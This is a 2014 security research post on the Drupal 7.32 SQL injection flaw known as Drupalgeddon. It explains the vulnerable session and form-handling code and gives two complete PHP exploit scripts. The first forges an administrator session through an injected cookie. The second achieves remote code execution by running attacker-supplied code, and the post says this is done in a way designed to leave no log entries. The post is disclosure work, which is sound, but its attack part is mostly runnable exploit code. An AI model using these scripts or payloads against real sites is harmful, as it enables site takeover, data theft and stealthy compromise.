Drupal 7.32 two weeks later - PoC

After two weeks of this bug in the wild, we release some additional information including not one but two PoCs.

Introduction

/images/drupalgeddon_small.png
Automated attacks began compromising Drupal 7 websites that were not patched or updated to Drupal 7.32 within hours of the announcement of SA-CORE-2014-005 - Drupal core - SQL injection. You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.
Drupal Security Team

With this in mind we release more information about the bug including a code execution PoC, which takes only one GET request with a cookie that will not be shown in any log.

For more information about the bug see the advisory we released two weeks ago.

Admin Session PoC

Drupal has the ability to update an HTTP session to HTTPS. This is done in the includes/session.inc:

<?php
function _drupal_session_read($sid) {
  global $user, $is_https;

  [...]

  // Otherwise, if the session is still active, we have a record of the
  // client's session in the database. If it's HTTPS then we are either have
  // a HTTPS session or we are about to log in so we check the sessions table
  // for an anonymous session with the non-HTTPS-only cookie.
  if ($is_https) {
    $user = db_query("SELECT u.*, s.* FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.ssid = :ssid", array(':ssid' => $sid))->fetchObject();
    if (!$user) {
      if (isset($_COOKIE[$insecure_session_name])) {
        $user = db_query("SELECT u.*, s.* FROM {users} u INNER JOIN {sessions} s ON u.uid = s.uid WHERE s.sid = :sid AND s.uid = 0", array(
        ':sid' => $_COOKIE[$insecure_session_name]))
        ->fetchObject();
      }
    }
  }
  [...]
}

In this code we see, that Drupal gives the value of the $_COOKIE[$insecure_session_name] directly to the vulnerable SQL function. This fact can be exploited to get a working session for the Admin user. To do so we inject this SQL query:

UNION SELECT '$user_id','$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,'$user_id','$session_id','','127.0.0.1',0,0,null --

After this injection Drupal updates the insecure session to a secure one (HTTP to HTTPS).

We created a PHP script, which makes the initial request and outputs the new session ID.

<?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//·

include 'common.inc';
include 'password.inc';

// set values
$user_name = 'admin';

$url = isset($argv[1])?$argv[1]:'';
$user_id = isset($argv[2])?intval($argv[2]):1;

if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$user_id]'."\n";
      die();
}

if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}

if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}

$url = rtrim($url,'/');

list( , $session_name) = explode('://', $url, 2);

// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');

$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();

$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,null -- ";

$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

// send the request to the server
$ch = curl_init($url);

curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');

curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));

curl_setopt($ch,CURLOPT_COOKIE,$cookie);

$output = curl_exec($ch);

curl_close($ch);

echo "Session with this ID created:\n";
echo "S".$cookieName.": ".$sec_ssid;

Remote Code Execution PoC

With the same injection vector we can execute PHP code. This is due to the fact, that Drupal saves form states to the session to easily verify forms.

When Drupal verifies the form state, it utilizes the drupal_retrieve_form function in the includes/form.inc.

<?php
function drupal_retrieve_form($form_id, &$form_state) {
  [...]

  // We save two copies of the incoming arguments: one for modules to use
  // when mapping form ids to constructor functions, and another to pass to
  // the constructor function itself.
  $args = $form_state['build_info']['args'];

  [...]

  $form = array();
  // We need to pass $form_state by reference in order for forms to modify it,
  // since call_user_func_array() requires that referenced variables are passed
  // explicitly.
  $args = array_merge(array($form, &$form_state), $args);

  // When the passed $form_state (not using drupal_get_form()) defines a
  // 'wrapper_callback', then it requests to invoke a separate (wrapping) form
  // builder function to pre-populate the $form array with form elements, which
  // the actual form builder function ($callback) expects. This allows for
  // pre-populating a form with common elements for certain forms, such as
  // back/next/save buttons in multi-step form wizards. See drupal_build_form().
  if (isset($form_state['wrapper_callback']) && function_exists($form_state['wrapper_callback'])) {
    $form = call_user_func_array($form_state['wrapper_callback'], $args);
    // Put the prepopulated $form into $args.
    $args[0] = $form;
  }

  [...]
}

Since we can control the session and therefore the $form_state, we can execute any function, but we cannot control its parameters. The function is called with the $form, the $form_state and the $form_state['build_info']['args'] as parameters. Therefore we utilize the form_execute_handlers function. The first parameter is an empty Array, the second is our $form_state and the third parameter is a reference to a string we control.

<?php
function form_execute_handlers($type, &$form, &$form_state) {
  $return = FALSE;
  // If there was a button pressed, use its handlers.
  if (isset($form_state[$type . '_handlers'])) {
    $handlers = $form_state[$type . '_handlers'];
  }
  // Otherwise, check for a form-level handler.
  elseif (isset($form['#' . $type])) {
    $handlers = $form['#' . $type];
  }
  else {
    $handlers = array();
  }

  foreach ($handlers as $function) {
    // Check if a previous _submit handler has set a batch, but make sure we
    // do not react to a batch that is already being processed (for instance
    // if a batch operation performs a drupal_form_submit()).
    if ($type == 'submit' && ($batch =& batch_get()) && !isset($batch['id'])) {
      // Some previous submit handler has set a batch. To ensure correct
      // execution order, store the call in a special 'control' batch set.
      // See _batch_next_set().
      $batch['sets'][] = array('form_submit' => $function);
      $batch['has_form_submits'] = TRUE;
    }
    else {
      $function($form, $form_state);
    }
    $return = TRUE;
  }
  return $return;
}

In a string context every Array() is translated to the string "Array". Therefore the above code checks if $form['#Array'] is set and calls every element of the $form['#Array'] array as function with the $form resp. $form_state as parameter. To execute arbitrary code we need to transform the $form_state array to something we can call eval() on. Therefore we utilize array_filter, which calls our controlled callback function $form_state which we control by $form_state['build_info']['args']. In our PoC we utilize assert().

So if we create this $form_state,

<?php
$_SESSION= array('a'=>'eval("phpinfo();session_destroy();die(\"\");");','build_info' => array(), 'wrapper_callback' => 'form_execute_handlers', '#Array' => array('array_filter'), 'string' => 'assert');
$_SESSION['build_info']['args'][0] = &$_SESSION['string'];

we can execute phpinfo(), destroy the session, so it is not saved to the database, and then exit PHP to cleanly exit the execution so no error is reported in any log.

<?php
//    _____      __   __  _             _______
//   / ___/___  / /__/ /_(_)___  ____  / ____(_)___  _____
//   \__ \/ _ \/ //_/ __/ / __ \/ __ \/ __/ / / __ \/ ___/
//  ___/ /  __/ ,< / /_/ / /_/ / / / / /___/ / / / (__  )
// /____/\___/_/|_|\__/_/\____/_/ /_/_____/_/_/ /_/____/
// Poc for Drupal Pre Auth SQL Injection - (c) 2014 SektionEins
//
// created by Stefan Horst <stefan.horst@sektioneins.de>
//        and Stefan Esser <stefan.esser@sektioneins.de>
//·

include 'common.inc';
include 'password.inc';

// set values
$user_id = 0;
$user_name = '';

$code_inject = 'phpinfo();session_destroy();die("");';

$url = isset($argv[1])?$argv[1]:'';
$code = isset($argv[2])?$argv[2]:'';

if ($url == '-h') {
      echo "usage:\n";
      echo $argv[0].' $url [$code|$file]'."\n";
      die();
}

if (empty($url) || strpos($url,'https') === False) {
      echo "please state the cookie url. It works only with https urls.\n";
      die();
}

if (!empty($code)) {
      if (is_file($code)) {
              $code_inject = str_replace('<'.'?','',str_replace('<'.'?php','',str_replace('?'.'>','',file_get_contents($code))));
      } else {
              $code_inject = $code;
      }
}

$code_inject = rtrim($code_inject,';');
$code_inject .= ';session_destroy();die("");';

if (strpos($url, 'www.') === 0) {
      $url = substr($url, 4);
}

$_SESSION= array('a'=>'eval(base64_decode("'.base64_encode($code_inject).'"))','build_info' => array(), 'wrapper_callback' => 'form_execute_handlers', '#Array' => array('array_filter'), 'string' => 'assert');
$_SESSION['build_info']['args'][0] = &$_SESSION['string'];

list( , $session_name) = explode('://', $url, 2);

// use insecure cookie with sql inj.
$cookieName = 'SESS' . substr(hash('sha256', $session_name), 0, 32);
$password = user_hash_password('test');

$session_id = drupal_random_key();
$sec_ssid = drupal_random_key();

$serial = str_replace('}','CURLYCLOSE',str_replace('{','CURLYOPEN',"batch_form_state|".serialize($_SESSION)));
$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','127.0.0.1',0,0,REPLACE(REPLACE('".$serial."','CURLYCLOSE',CHAR(".ord('}').")),'CURLYOPEN',CHAR(".ord('{').")) -- ";

$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

$ch = curl_init($url);

curl_setopt($ch,CURLOPT_HEADER,True);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,True);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,False);
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0');

curl_setopt($ch,CURLOPT_HTTPHEADER,array(
      'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
      'Accept-Language: en-US,en;q=0.5'
));

curl_setopt($ch,CURLOPT_COOKIE,$cookie);

$output = curl_exec($ch);

curl_close($ch);

echo $output;

Stefan Horst